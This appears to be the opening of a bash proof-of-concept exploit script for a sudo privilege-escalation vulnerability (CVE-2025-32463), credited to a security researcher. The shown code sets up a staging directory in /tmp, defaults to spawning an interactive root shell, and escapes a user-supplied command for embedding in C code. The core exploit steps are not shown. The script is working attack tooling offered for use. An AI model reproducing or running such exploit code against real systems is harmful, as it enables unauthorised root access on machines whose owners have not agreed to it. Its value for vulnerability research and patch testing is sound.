#!/bin/bash # sudo-chwoot.sh # CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch # @ Stratascale Cyber Research Unit (CRU) STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1
if [ $# -eq 0 ]; then # If no command is provided, default to an interactive root shell. CMD="/bin/bash" else # Otherwise, use the provided arguments as the command to execute. CMD="$@" fi
# Escape the command to safely include it in a C string literal. # This handles backslashes and double quotes. CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')